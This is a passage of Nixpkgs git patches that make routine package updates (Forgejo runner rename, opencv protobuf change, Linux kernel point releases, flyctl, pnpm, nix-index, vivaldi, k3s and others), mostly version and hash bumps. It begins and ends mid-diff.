     repo = "runner";
     rev = "v${version}";
-    hash = "sha256-fEsT82h33XIBXyvcIYNsieQiV45jLnxLpFP5ji9pNlg=";
+    hash = "sha256-vt0uPGJdydy4cM1AEBeXQu4aNRggqaITS3eAmimVPRU=";
   };
 
-  vendorHash = "sha256-KV8KYOjy3WO+yfVWEFwKZVAesmx4tFk/k/sTLDKk9lo=";
+  vendorHash = "sha256-hE03QkXSPyl7IVEnXi/wWwQZOVcdyyGdEmGiOwLK6Zg=";
+
+  # See upstream Makefile
+  # https://code.forgejo.org/forgejo/runner/src/branch/main/Makefile
+  tags = [
+    "netgo"
+    "osusergo"
+  ];
 
   ldflags = [
     "-s"
     "-w"
-    "-X gitea.com/gitea/act_runner/internal/pkg/ver.version=${src.rev}"
+    "-X runner.forgejo.org/internal/pkg/ver.version=${src.rev}"
   ];
 
   checkFlags = [
     "-skip ${lib.concatStringsSep "|" disabledTests}"
   ];
 
+  postInstall = ''
+    # fix up go-specific executable naming derived from package name, upstream
+    # also calls it `forgejo-runner`
+    mv $out/bin/runner.forgejo.org $out/bin/forgejo-runner
+    # provide old binary name for compatibility
+    ln -s $out/bin/forgejo-runner $out/bin/act_runner
+  '';
+
   doInstallCheck = true;
   nativeInstallCheckInputs = [ versionCheckHook ];
   versionCheckProgram = "${placeholder "out"}/bin/${meta.mainProgram}";
@@ -61,6 +76,6 @@ buildGoModule rec {
       emilylange
       christoph-heiss
     ];
-    mainProgram = "act_runner";
+    mainProgram = "forgejo-runner";
   };
 }

From 5c48e9ce23d0137f969e1ec3a23277b24a710898 Mon Sep 17 00:00:00 2001
From: Connor Baker <ConnorBaker01@gmail.com>
Date: Mon, 23 Jun 2025 18:02:48 +0000
Subject: [PATCH 2546/4511] opencv4: protobuf_21 -> protobuf

Signed-off-by: Connor Baker <ConnorBaker01@gmail.com>
(cherry picked from commit b5daea748fca99f357152b727cfe9d36ffa842bb)
---
 pkgs/development/libraries/opencv/4.x.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/development/libraries/opencv/4.x.nix b/pkgs/development/libraries/opencv/4.x.nix
index df0633b615a0..d61a9faf34be 100644
--- a/pkgs/development/libraries/opencv/4.x.nix
+++ b/pkgs/development/libraries/opencv/4.x.nix
@@ -13,7 +13,7 @@
   glib,
   glog,
   gflags,
-  protobuf_21,
+  protobuf,
   config,
   ocl-icd,
   qimgv,
@@ -335,7 +335,7 @@ effectiveStdenv.mkDerivation {
       glib
       glog
       pcre2
-      protobuf_21
+      protobuf
       zlib
     ]
     ++ optionals enablePython [

From d136302890e44eb71550d4803b6e7463dff6a5eb Mon Sep 17 00:00:00 2001
From: Melody Kelly <melody@melody.blue>
Date: Sun, 2 Mar 2025 19:46:53 +1000
Subject: [PATCH 2547/4511] opencv: use c++ 17 to fix protobuf support

fixes #386327

(cherry picked from commit fbced4e70d4663a5b5c7c317fe4dfe899c6b8d66)
(cherry picked from commit 3eb8b879ace75d30c7bd5f4a73d98d2a004746c9)
---
 pkgs/development/libraries/opencv/4.x.nix | 1 +
 1 file changed, 1 insertion(+)

diff --git a/pkgs/development/libraries/opencv/4.x.nix b/pkgs/development/libraries/opencv/4.x.nix
index d61a9faf34be..361aee13fe3a 100644
--- a/pkgs/development/libraries/opencv/4.x.nix
+++ b/pkgs/development/libraries/opencv/4.x.nix
@@ -468,6 +468,7 @@ effectiveStdenv.mkDerivation {
       (cmakeBool "OPENCV_GENERATE_PKGCONFIG" true)
       (cmakeBool "WITH_OPENMP" true)
       (cmakeBool "BUILD_PROTOBUF" false)
+      (cmakeFeature "CMAKE_CXX_STANDARD" "17") # required to enable protobuf
       (cmakeBool "WITH_PROTOBUF" true)
       (cmakeBool "PROTOBUF_UPDATE_FILES" true)
       (cmakeBool "OPENCV_ENABLE_NONFREE" enableUnfree)

From 35e031531090e590fc14a173508e643227ea2c90 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Wed, 16 Jul 2025 21:40:06 +0000
Subject: [PATCH 2548/4511] flyctl: 0.3.149 -> 0.3.157

(cherry picked from commit ae3bd20b5153b5db2c9fe878ef5c5834e677c875)
---
 pkgs/by-name/fl/flyctl/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/fl/flyctl/package.nix b/pkgs/by-name/fl/flyctl/package.nix
index 375b4ba53aa7..1eedf6ed722e 100644
--- a/pkgs/by-name/fl/flyctl/package.nix
+++ b/pkgs/by-name/fl/flyctl/package.nix
@@ -9,16 +9,16 @@
 
 buildGoModule rec {
   pname = "flyctl";
-  version = "0.3.149";
+  version = "0.3.157";
 
   src = fetchFromGitHub {
     owner = "superfly";
     repo = "flyctl";
     rev = "v${version}";
-    hash = "sha256-9kzyQH5oJr8e0yYgTi7wBmnYRjyeiFffJccuPiAF5JQ=";
+    hash = "sha256-R5hZLY7uKYfSQdSnYkCruobdHiUZfHshnb/oIYbCMEc=";
   };
 
-  vendorHash = "sha256-G+RT2teg1+AoLJRjYKnQtVcGH3sbtrxhklQfGMIod+0=";
+  vendorHash = "sha256-OwxzdLXNPiQRq6mgvZaOs8tnNZQm0mYyzyPFUYcokb0=";
 
   subPackages = [ "." ];
 

From dd6e351075d054a9e9c7765a9a1e9a59143a4823 Mon Sep 17 00:00:00 2001
From: Ryan Omasta <git@ryand.ca>
Date: Tue, 15 Jul 2025 16:46:35 -0600
Subject: [PATCH 2549/4511] pnpm_10: 10.12.4 -> 10.13.1

https://github.com/pnpm/pnpm/releases/tag/v10.13.1
Diff: https://github.com/pnpm/pnpm/compare/v10.12.4...v10.13.1
(cherry picked from commit 4ff4f8b97c13345a1815c78d541bf5caa1b3ed0a)
---
 pkgs/development/tools/pnpm/default.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/development/tools/pnpm/default.nix b/pkgs/development/tools/pnpm/default.nix
index f80c99449696..8f10f6065a66 100644
--- a/pkgs/development/tools/pnpm/default.nix
+++ b/pkgs/development/tools/pnpm/default.nix
@@ -16,8 +16,8 @@ let
       hash = "sha256-z4anrXZEBjldQoam0J1zBxFyCsxtk+nc6ax6xNxKKKc=";
     };
     "10" = {
-      version = "10.12.4";
-      hash = "sha256-yt/Z5sn8wst2/nwHeaUlC2MomK6l9T2DOnNpDHeneNk=";
+      version = "10.13.1";
+      hash = "sha256-D57UjYCJlq4AeDX7XEZBz5owDe8u3cnpV9m75HaMXyg=";
     };
   };
 

From 250ea7755ef464df14de24bf05d8360fc9758a48 Mon Sep 17 00:00:00 2001
From: K900 <me@0upti.me>
Date: Thu, 17 Jul 2025 20:24:32 +0300
Subject: [PATCH 2550/4511] linux_6_15: 6.15.6 -> 6.15.7

(cherry picked from commit 59cda8e15042ddf14bd53fd4a16ad3ad7c66914f)
---
 pkgs/os-specific/linux/kernel/kernels-org.json | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/os-specific/linux/kernel/kernels-org.json b/pkgs/os-specific/linux/kernel/kernels-org.json
index 2ad84ccbed28..36e66b42599e 100644
--- a/pkgs/os-specific/linux/kernel/kernels-org.json
+++ b/pkgs/os-specific/linux/kernel/kernels-org.json
@@ -36,7 +36,7 @@
         "hash": "sha256:06rvydmc2yfspidnsay5hin3i8p4fxy3bvzwnry7gjf9dl5cs71z"
     },
     "6.15": {
-        "version": "6.15.6",
-        "hash": "sha256:1z5l0b59q56qj6s56cxzv43lhfx9z9sp4vfziw60fz97ak4qdd9b"
+        "version": "6.15.7",
+        "hash": "sha256:1sgq32ivnrvlqskmz6i5k9157y6c5x3r9lj3pl0i23habc8ds1rm"
     }
 }

From 31810538ceca3caef42d40315bb740c15220297c Mon Sep 17 00:00:00 2001
From: K900 <me@0upti.me>
Date: Thu, 17 Jul 2025 20:24:37 +0300
Subject: [PATCH 2551/4511] linux_6_12: 6.12.38 -> 6.12.39

(cherry picked from commit 9027c78f76d499d41b70d518335a9a8bebef9d05)
---
 pkgs/os-specific/linux/kernel/kernels-org.json | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/os-specific/linux/kernel/kernels-org.json b/pkgs/os-specific/linux/kernel/kernels-org.json
index 36e66b42599e..302ea0f2e1bc 100644
--- a/pkgs/os-specific/linux/kernel/kernels-org.json
+++ b/pkgs/os-specific/linux/kernel/kernels-org.json
@@ -24,8 +24,8 @@
         "hash": "sha256:1raxyhvv0yay3k1izwcqdbq9322nflflfzcn9d1jrhmb032k8si9"
     },
     "6.12": {
-        "version": "6.12.38",
-        "hash": "sha256:1k0gcwavn5iws3z1as39227i2hnc62qnfddjfqy7k7ymhf6zldgh"
+        "version": "6.12.39",
+        "hash": "sha256:0iakbyipani7rcm37xb0bsl5zn7h1m7vfhwfangn64gxm012amkf"
     },
     "6.13": {
         "version": "6.13.12",

From 806a183b4d5f4aee79431cb8422bc0fe5f96ce4e Mon Sep 17 00:00:00 2001
From: K900 <me@0upti.me>
Date: Thu, 17 Jul 2025 20:24:41 +0300
Subject: [PATCH 2552/4511] linux_6_6: 6.6.98 -> 6.6.99

(cherry picked from commit 87c12f8676a336c48eafe43f579d7f58f40cb913)
---
 pkgs/os-specific/linux/kernel/kernels-org.json | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/os-specific/linux/kernel/kernels-org.json b/pkgs/os-specific/linux/kernel/kernels-org.json
index 302ea0f2e1bc..96c3913a0653 100644
--- a/pkgs/os-specific/linux/kernel/kernels-org.json
+++ b/pkgs/os-specific/linux/kernel/kernels-org.json
@@ -20,8 +20,8 @@
         "hash": "sha256:1adn0pbk8y1zp1yrz83ch6h4wypm2qvbnx4xig3sls2nfgvmi0f4"
     },
     "6.6": {
-        "version": "6.6.98",
-        "hash": "sha256:1raxyhvv0yay3k1izwcqdbq9322nflflfzcn9d1jrhmb032k8si9"
+        "version": "6.6.99",
+        "hash": "sha256:0dmbi7g156gknglcgb47kl1i29fa6q4rkx99m2glpiqykxr7k1mh"
     },
     "6.12": {
         "version": "6.12.39",

From df6ea4a9b46b3f991a13d1e60f1b538e644dc648 Mon Sep 17 00:00:00 2001
From: K900 <me@0upti.me>
Date: Thu, 17 Jul 2025 20:24:46 +0300
Subject: [PATCH 2553/4511] linux_6_1: 6.1.145 -> 6.1.146

(cherry picked from commit 1ccf43040c4cfa7e7873cb5e792ffb21a97fbb20)
---
 pkgs/os-specific/linux/kernel/kernels-org.json | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/os-specific/linux/kernel/kernels-org.json b/pkgs/os-specific/linux/kernel/kernels-org.json
index 96c3913a0653..0e61547167e5 100644
--- a/pkgs/os-specific/linux/kernel/kernels-org.json
+++ b/pkgs/os-specific/linux/kernel/kernels-org.json
@@ -4,8 +4,8 @@
         "hash": "sha256:03sz5gbnz1s763nlq2sbqk3bmjca24hq2n9wrpqhy6gyrd11s22f"
     },
     "6.1": {
-        "version": "6.1.145",
-        "hash": "sha256:0qrkcrqb0migsrq6xl1idyz8n6vjbdk74z4sc9na97b6n5vp0r9i"
+        "version": "6.1.146",
+        "hash": "sha256:117gyi8zym09z2qarnv02i7v23v8596nqvllid07aydlcpihl9pv"
     },
     "5.15": {
         "version": "5.15.188",

From 7d9ae406449077db3e45ba0e459492ebbabb1281 Mon Sep 17 00:00:00 2001
From: K900 <me@0upti.me>
Date: Thu, 17 Jul 2025 20:24:51 +0300
Subject: [PATCH 2554/4511] linux_5_15: 5.15.188 -> 5.15.189

(cherry picked from commit 91336adaf1d5f6be84489fa0bb83e02053e091bc)
---
 pkgs/os-specific/linux/kernel/kernels-org.json | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/os-specific/linux/kernel/kernels-org.json b/pkgs/os-specific/linux/kernel/kernels-org.json
index 0e61547167e5..37bbda7ab0b4 100644
--- a/pkgs/os-specific/linux/kernel/kernels-org.json
+++ b/pkgs/os-specific/linux/kernel/kernels-org.json
@@ -8,8 +8,8 @@
         "hash": "sha256:117gyi8zym09z2qarnv02i7v23v8596nqvllid07aydlcpihl9pv"
     },
     "5.15": {
-        "version": "5.15.188",
-        "hash": "sha256:1nfcrdwa2mgih57ch9kh8gc6jl950a7vpqgr56xk1b02303km5f4"
+        "version": "5.15.189",
+        "hash": "sha256:1hshd26ahn6dbw6jnqi0v5afpk672w7p09mk7iri93i7hxdh5l73"
     },
     "5.10": {
         "version": "5.10.239",

From 40a77125287529f31b855a2de68f81cf0a75ef08 Mon Sep 17 00:00:00 2001
From: K900 <me@0upti.me>
Date: Thu, 17 Jul 2025 20:24:59 +0300
Subject: [PATCH 2555/4511] linux_5_10: 5.10.239 -> 5.10.240

(cherry picked from commit 4b2a77a1e5d312b9b834b277ba83f5827e500088)
---
 pkgs/os-specific/linux/kernel/kernels-org.json | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/os-specific/linux/kernel/kernels-org.json b/pkgs/os-specific/linux/kernel/kernels-org.json
index 37bbda7ab0b4..4b712d2ec515 100644
--- a/pkgs/os-specific/linux/kernel/kernels-org.json
+++ b/pkgs/os-specific/linux/kernel/kernels-org.json
@@ -12,8 +12,8 @@
         "hash": "sha256:1hshd26ahn6dbw6jnqi0v5afpk672w7p09mk7iri93i7hxdh5l73"
     },
     "5.10": {
-        "version": "5.10.239",
-        "hash": "sha256:1nzhl1y6avfl77fyqwjwy3qc6679gp92k0d3aarscrdydcml5yid"
+        "version": "5.10.240",
+        "hash": "sha256:04sdcf4aqsqchii38anzmk9f9x65wv8q1x3m9dandmi6fabw724d"
     },
     "5.4": {
         "version": "5.4.295",

From 9a37b6c4a61b66f446506d0b4c0d45a5d616b52c Mon Sep 17 00:00:00 2001
From: K900 <me@0upti.me>
Date: Thu, 17 Jul 2025 20:25:03 +0300
Subject: [PATCH 2556/4511] linux_5_4: 5.4.295 -> 5.4.296

(cherry picked from commit a08be3c7c6a0886f23cc7d5a3ed57456c696c0e8)
---
 pkgs/os-specific/linux/kernel/kernels-org.json | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/os-specific/linux/kernel/kernels-org.json b/pkgs/os-specific/linux/kernel/kernels-org.json
index 4b712d2ec515..eca0f7e2755a 100644
--- a/pkgs/os-specific/linux/kernel/kernels-org.json
+++ b/pkgs/os-specific/linux/kernel/kernels-org.json
@@ -16,8 +16,8 @@
         "hash": "sha256:04sdcf4aqsqchii38anzmk9f9x65wv8q1x3m9dandmi6fabw724d"
     },
     "5.4": {
-        "version": "5.4.295",
-        "hash": "sha256:1adn0pbk8y1zp1yrz83ch6h4wypm2qvbnx4xig3sls2nfgvmi0f4"
+        "version": "5.4.296",
+        "hash": "sha256:0fm73yqzbzclh2achcj8arpg428d412k2wgmlfmyy6xzb1762qrx"
     },
     "6.6": {
         "version": "6.6.99",

From a488ed10e83b21e078207c8fae5d07482c7556ce Mon Sep 17 00:00:00 2001
From: Martin Weinelt <hexa@darmstadt.ccc.de>
Date: Thu, 17 Jul 2025 20:48:13 +0200
Subject: [PATCH 2557/4511] nix-index-unwrapped: 0.1.8 -> 0.1.9

https://github.com/nix-community/nix-index/blob/v0.1.9/CHANGELOG.md
(cherry picked from commit 983df430c5f3221782c0dad10d4df872f02d002b)
---
 pkgs/tools/package-management/nix-index/default.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/tools/package-management/nix-index/default.nix b/pkgs/tools/package-management/nix-index/default.nix
index e4a7c6077ba0..3375add66a62 100644
--- a/pkgs/tools/package-management/nix-index/default.nix
+++ b/pkgs/tools/package-management/nix-index/default.nix
@@ -10,17 +10,17 @@
 
 rustPlatform.buildRustPackage rec {
   pname = "nix-index";
-  version = "0.1.8";
+  version = "0.1.9";
 
   src = fetchFromGitHub {
     owner = "nix-community";
     repo = "nix-index";
     rev = "v${version}";
-    hash = "sha256-r3Vg9ox953HdUp5Csxd2DYUyBe9u61fmA94PpcAZRqo=";
+    hash = "sha256-kOVmgST/D3zNOcGVu1ReuPuVrUx41iRK4rs59lqYX74=";
   };
 
   useFetchCargoVendor = true;
-  cargoHash = "sha256-BKVxtd+gbCHzpnr5LZmKMUMEEZvsZMT0AdlfrLpMYpc=";
+  cargoHash = "sha256-0yrTPrxN/4TOALqpQ5GW7LXKisc8msx3DvEpg8uO+IQ=";
 
   nativeBuildInputs = [ pkg-config ];
   buildInputs = [

From a1fae1ed13a9f3104b0015c87704e7581426ba64 Mon Sep 17 00:00:00 2001
From: Thibaut Smith <thibaut.smith@mailbox.org>
Date: Tue, 15 Jul 2025 23:19:19 +0200
Subject: [PATCH 2558/4511] matrix-authentication-service: 0.17.1 -> 0.19.0

https://github.com/element-hq/matrix-authentication-service/releases/tag/v0.18.0
https://github.com/element-hq/matrix-authentication-service/releases/tag/v0.19.0
Diff: https://github.com/element-hq/matrix-authentication-service/compare/v0.17.1...v0.19.0
(cherry picked from commit f9c0a57c748e188c0c3f6d757a5544d2a3e97a20)
---
 pkgs/by-name/ma/matrix-authentication-service/package.nix | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/pkgs/by-name/ma/matrix-authentication-service/package.nix b/pkgs/by-name/ma/matrix-authentication-service/package.nix
index 58a84b77acfb..eb2f6904a3c0 100644
--- a/pkgs/by-name/ma/matrix-authentication-service/package.nix
+++ b/pkgs/by-name/ma/matrix-authentication-service/package.nix
@@ -16,22 +16,22 @@
 
 rustPlatform.buildRustPackage (finalAttrs: {
   pname = "matrix-authentication-service";
-  version = "0.17.1";
+  version = "0.19.0";
 
   src = fetchFromGitHub {
     owner = "element-hq";
     repo = "matrix-authentication-service";
     tag = "v${finalAttrs.version}";
-    hash = "sha256-iBDvvKy5alaieIm+Jv9WnqHVGjItDSvJAk+ClTRj3v0=";
+    hash = "sha256-JimVGDHL4pwN0ALdZVJjkzgdOMTlXo4okiH8b7aALJg=";
   };
 
   useFetchCargoVendor = true;
-  cargoHash = "sha256-rHlzLawpCD9onhca9NzgUXmA2vDmW48cQrV05qs+tn8=";
+  cargoHash = "sha256-5Db3veAs2Zk1EzCp0M8krkUEtfiuJwbAUpUODquYXlA=";
 
   npmDeps = fetchNpmDeps {
     name = "${finalAttrs.pname}-${finalAttrs.version}-npm-deps";
     src = "${finalAttrs.src}/${finalAttrs.npmRoot}";
-    hash = "sha256-0rJAU4PZAshTu6KD4EzIltUT8PO4dnWCY5oM3kyxBBk=";
+    hash = "sha256-m0W9S/NcbwVMsqSBh5GIHawQR1kRsEEQCnHGbSGNq74=";
   };
 
   npmRoot = "frontend";

From 54eb985e289fb38fec301e6e01c0d254aba1448d Mon Sep 17 00:00:00 2001
From: Flo <max06.net@outlook.com>
Date: Thu, 17 Jul 2025 16:03:08 +0200
Subject: [PATCH 2559/4511] vivaldi: 7.5.3735.47 -> 7.5.3735.54

(cherry picked from commit 33bd745f41b379b98673da2338056a65b42b2453)
---
 pkgs/by-name/vi/vivaldi/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/vi/vivaldi/package.nix b/pkgs/by-name/vi/vivaldi/package.nix
index a33bc84c3588..6a85d9a42758 100644
--- a/pkgs/by-name/vi/vivaldi/package.nix
+++ b/pkgs/by-name/vi/vivaldi/package.nix
@@ -66,7 +66,7 @@
 
 stdenv.mkDerivation rec {
   pname = "vivaldi";
-  version = "7.5.3735.47";
+  version = "7.5.3735.54";
 
   suffix =
     {
@@ -79,8 +79,8 @@ stdenv.mkDerivation rec {
     url = "https://downloads.vivaldi.com/stable/vivaldi-stable_${version}-1_${suffix}.deb";
     hash =
       {
-        aarch64-linux = "sha256-zkVGgQNZSu3Th8Se9uvj8OERwDxWG3m6+zz9Hv4TGIc=";
-        x86_64-linux = "sha256-uKHv4OEDZkbiGwEyYBl0/4ni2WmBz9NC/oKmYyiJgJ0=";
+        aarch64-linux = "sha256-wgvqNeRrwPHmv4DNlo69mCJ+/cNOv2ZwvEnijTZke+s=";
+        x86_64-linux = "sha256-Wey4X3GUN1HnJsrEo0E/Zr7ozZiw8DyVYh2jQ67wFM0=";
       }
       .${stdenv.hostPlatform.system} or (throw "Unsupported system: ${stdenv.hostPlatform.system}");
   };

From 3729ea9d7d45f05ef9d74cce408f484bb4a0e945 Mon Sep 17 00:00:00 2001
From: Robert Rose <robert.rose@mailbox.org>
Date: Thu, 3 Jul 2025 23:03:52 +0200
Subject: [PATCH 2560/4511] k3s_1_31: 1.31.9+k3s1 -> 1.31.10+k3s1

https://github.com/k3s-io/k3s/releases/tag/v1.31.10%2Bk3s1
(cherry picked from commit 1b7c353a03e175b4d57c3d23ec24dc1d14990b61)
---
 .../cluster/k3s/1_31/images-versions.json        | 16 ++++++++--------
 .../networking/cluster/k3s/1_31/versions.nix     | 12 ++++++------
 2 files changed, 14 insertions(+), 14 deletions(-)

diff --git a/pkgs/applications/networking/cluster/k3s/1_31/images-versions.json b/pkgs/applications/networking/cluster/k3s/1_31/images-versions.json
index f54f48949639..be2f8c46f141 100644
--- a/pkgs/applications/networking/cluster/k3s/1_31/images-versions.json
+++ b/pkgs/applications/networking/cluster/k3s/1_31/images-versions.json
@@ -1,18 +1,18 @@
 {
   "airgap-images-amd64": {
-    "url": "https://github.com/k3s-io/k3s/releases/download/v1.31.9%2Bk3s1/k3s-airgap-images-amd64.tar.zst",
-    "sha256": "939480f43b0214bfcc9fbd33cc73c810c1fded4e7ad16b204ac050277574ed9c"
+    "url": "https://github.com/k3s-io/k3s/releases/download/v1.31.10%2Bk3s1/k3s-airgap-images-amd64.tar.zst",
+    "sha256": "86fd5e5cceee3ab6743b1257ed39e62ef73b20475c12495888589e68199210a3"
   },
   "airgap-images-arm": {
-    "url": "https://github.com/k3s-io/k3s/releases/download/v1.31.9%2Bk3s1/k3s-airgap-images-arm.tar.zst",
-    "sha256": "b9e90a490568705fac716b330316f1cea190a3bce6220487f539d6eddbc3dfaa"
+    "url": "https://github.com/k3s-io/k3s/releases/download/v1.31.10%2Bk3s1/k3s-airgap-images-arm.tar.zst",
+    "sha256": "0bb5712817ea3c98c69b51eb5925e37ad47a5b2851a0fd72868502a70ef5c3e6"
   },
   "airgap-images-arm64": {
-    "url": "https://github.com/k3s-io/k3s/releases/download/v1.31.9%2Bk3s1/k3s-airgap-images-arm64.tar.zst",
-    "sha256": "9a31f65d02f9be290288351c01ae57cc16550ae16cbf8c95296ec15da2676dce"
+    "url": "https://github.com/k3s-io/k3s/releases/download/v1.31.10%2Bk3s1/k3s-airgap-images-arm64.tar.zst",
+    "sha256": "4e34adcadba448524851d8b1ea98bc918105eb7b1717c7d8cb8866749373b060"
   },
   "images-list": {
-    "url": "https://github.com/k3s-io/k3s/releases/download/v1.31.9%2Bk3s1/k3s-images.txt",
-    "sha256": "7a53b3def0199b17de6ec690d13ae2001fb83809258d28d985eafa69869c3aa9"
+    "url": "https://github.com/k3s-io/k3s/releases/download/v1.31.10%2Bk3s1/k3s-images.txt",
+    "sha256": "ebe55bbef8ec772071bf736c9671e444aa31ac259e86bfb65180d2405b314c5e"
   }
 }
diff --git a/pkgs/applications/networking/cluster/k3s/1_31/versions.nix b/pkgs/applications/networking/cluster/k3s/1_31/versions.nix
index 4af0db58a6c6..d96c01cdb6b9 100644
--- a/pkgs/applications/networking/cluster/k3s/1_31/versions.nix
+++ b/pkgs/applications/networking/cluster/k3s/1_31/versions.nix
@@ -1,14 +1,14 @@
 {
-  k3sVersion = "1.31.9+k3s1";
-  k3sCommit = "812206503b2874c703dcc93c5d6baa5ffc745930";
-  k3sRepoSha256 = "0cknigj3cx5ndh5n15nymzmr8xgsr7is5hbi923n6h2q5bjm12q4";
-  k3sVendorHash = "sha256-ojzoxqtVYSmw5gZk+0W4V5ImRcXX451QauIFNR9j9eY=";
+  k3sVersion = "1.31.10+k3s1";
+  k3sCommit = "c02ce139f6409f455775004d235d98fc9bee849b";
+  k3sRepoSha256 = "1ap91j0vwgayis1g7j8rh4dxq4g5fn1kkf1dfa2wg0kxfkcldp0x";
+  k3sVendorHash = "sha256-URczHgCfkg2XoX9XNxW7GxPQcfMraLkFCTEbGafyTEI=";
   chartVersions = import ./chart-versions.nix;
   imagesVersions = builtins.fromJSON (builtins.readFile ./images-versions.json);
   k3sRootVersion = "0.14.1";
   k3sRootSha256 = "0svbi42agqxqh5q2ri7xmaw2a2c70s7q5y587ls0qkflw5vx4sl7";
-  k3sCNIVersion = "1.6.0-k3s1";
-  k3sCNISha256 = "0g7zczvwba5xqawk37b0v96xysdwanyf1grxn3l3lhxsgjjsmkd7";
+  k3sCNIVersion = "1.7.1-k3s1";
+  k3sCNISha256 = "0k1qfmsi5bqgwd5ap8ndimw09hsxn0cqf4m5ad5a4mgl6akw6dqz";
   containerdVersion = "2.0.5-k3s1.32";
   containerdSha256 = "1la7ygx5caqfqk025wyrxmhjb0xbpkzwnxv52338p33g68sb3yb0";
   criCtlVersion = "1.31.0-k3s2";

From f680e7ba0a276d46b9cc3714fefb0984f6b83db7 Mon Sep 17 00:00:00 2001
From: Robert Rose <robert.rose@mailbox.org>
Date: Thu, 3 Jul 2025 23:11:27 +0200
Subject: [PATCH 2561/4511] k3s_1_33: 1.33.1+k3s1 -> 1.33.2+k3s1

https://github.com/k3s-io/k3s/releases/tag/v1.33.2%2Bk3s1
(cherry picked from commit 88239cf914bfa3d15344063fc3a7954607777df2)
---
 .../cluster/k3s/1_33/images-versions.json        | 16 ++++++++--------
 .../networking/cluster/k3s/1_33/versions.nix     | 12 ++++++------
 2 files changed, 14 insertions(+), 14 deletions(-)

diff --git a/pkgs/applications/networking/cluster/k3s/1_33/images-versions.json b/pkgs/applications/networking/cluster/k3s/1_33/images-versions.json
index 8caf711a8a74..2416e6b26bb1 100644
--- a/pkgs/applications/networking/cluster/k3s/1_33/images-versions.json
+++ b/pkgs/applications/networking/cluster/k3s/1_33/images-versions.json
@@ -1,18 +1,18 @@
 {
   "airgap-images-amd64": {
-    "url": "https://github.com/k3s-io/k3s/releases/download/v1.33.1%2Bk3s1/k3s-airgap-images-amd64.tar.zst",
-    "sha256": "5fd0e18b7cd7457773d30e86270a4e1caed66d2e5c1380e65b3d0375227d241c"
+    "url": "https://github.com/k3s-io/k3s/releases/download/v1.33.2%2Bk3s1/k3s-airgap-images-amd64.tar.zst",
+    "sha256": "aa52e035f7e2fff17f4cb59cdaa60d117770bfa7b5c67be655c1d1fa4f261137"
   },
   "airgap-images-arm": {
-    "url": "https://github.com/k3s-io/k3s/releases/download/v1.33.1%2Bk3s1/k3s-airgap-images-arm.tar.zst",
-    "sha256": "518343da6213e7edba9da2f58fcf30c268600fc8003f92f245d9818ead2db03e"
+    "url": "https://github.com/k3s-io/k3s/releases/download/v1.33.2%2Bk3s1/k3s-airgap-images-arm.tar.zst",
+    "sha256": "670743ad088ada4a72966e30cbf10c7c3b0cc1fe7775f709647820c32b8d3b05"
   },
   "airgap-images-arm64": {
-    "url": "https://github.com/k3s-io/k3s/releases/download/v1.33.1%2Bk3s1/k3s-airgap-images-arm64.tar.zst",
-    "sha256": "2ac40b650104a1dc21b4b77fccf943efca8893de0432e6cdf1e7e1534eb6f4aa"
+    "url": "https://github.com/k3s-io/k3s/releases/download/v1.33.2%2Bk3s1/k3s-airgap-images-arm64.tar.zst",
+    "sha256": "3f2b8c54702018362c24266daaa39b582742c8612cf16ac53c04fb778193884b"
   },
   "images-list": {
-    "url": "https://github.com/k3s-io/k3s/releases/download/v1.33.1%2Bk3s1/k3s-images.txt",
-    "sha256": "aa8e10337aef453cb17e6408dbaec9eb2da409ca6ba1f8bc7332fcef97fdaf3a"
+    "url": "https://github.com/k3s-io/k3s/releases/download/v1.33.2%2Bk3s1/k3s-images.txt",
+    "sha256": "637ccb5f5a8f4a7d13991cb3060f05b8c7c46e7351e0edae351f9ad23bb51631"
   }
 }
diff --git a/pkgs/applications/networking/cluster/k3s/1_33/versions.nix b/pkgs/applications/networking/cluster/k3s/1_33/versions.nix
index 9665eb3c02af..d5cad93fd7ce 100644
--- a/pkgs/applications/networking/cluster/k3s/1_33/versions.nix
+++ b/pkgs/applications/networking/cluster/k3s/1_33/versions.nix
@@ -1,14 +1,14 @@
 {
-  k3sVersion = "1.33.1+k3s1";
-  k3sCommit = "99d91538b1327da933356c318dc8040335fbb66c";
-  k3sRepoSha256 = "1ncj30nid3x96irw2raxf1naa2jap1d0s1ygxsvfckblbb6rjnmx";
-  k3sVendorHash = "sha256-jrPVY+FVZV9wlbik/I35W8ChcLrHlYbLAwUYU16mJLM=";
+  k3sVersion = "1.33.2+k3s1";
+  k3sCommit = "6e38c8b55284c0d68f64a9e603fb645a32ecd232";
+  k3sRepoSha256 = "1s2ibbq2ivy1w3dkqlwnipg6cphiji0ax96fagfxgzwyjhxkyvxh";
+  k3sVendorHash = "sha256-MLntaqh1uwJ4cfvHW4lJxUzxtlq87DWCfhU4X6aRbxI=";
   chartVersions = import ./chart-versions.nix;
   imagesVersions = builtins.fromJSON (builtins.readFile ./images-versions.json);
   k3sRootVersion = "0.14.1";
   k3sRootSha256 = "0svbi42agqxqh5q2ri7xmaw2a2c70s7q5y587ls0qkflw5vx4sl7";
-  k3sCNIVersion = "1.6.0-k3s1";
-  k3sCNISha256 = "0g7zczvwba5xqawk37b0v96xysdwanyf1grxn3l3lhxsgjjsmkd7";
+  k3sCNIVersion = "1.7.1-k3s1";
+  k3sCNISha256 = "0k1qfmsi5bqgwd5ap8ndimw09hsxn0cqf4m5ad5a4mgl6akw6dqz";
   containerdVersion = "2.0.5-k3s1";
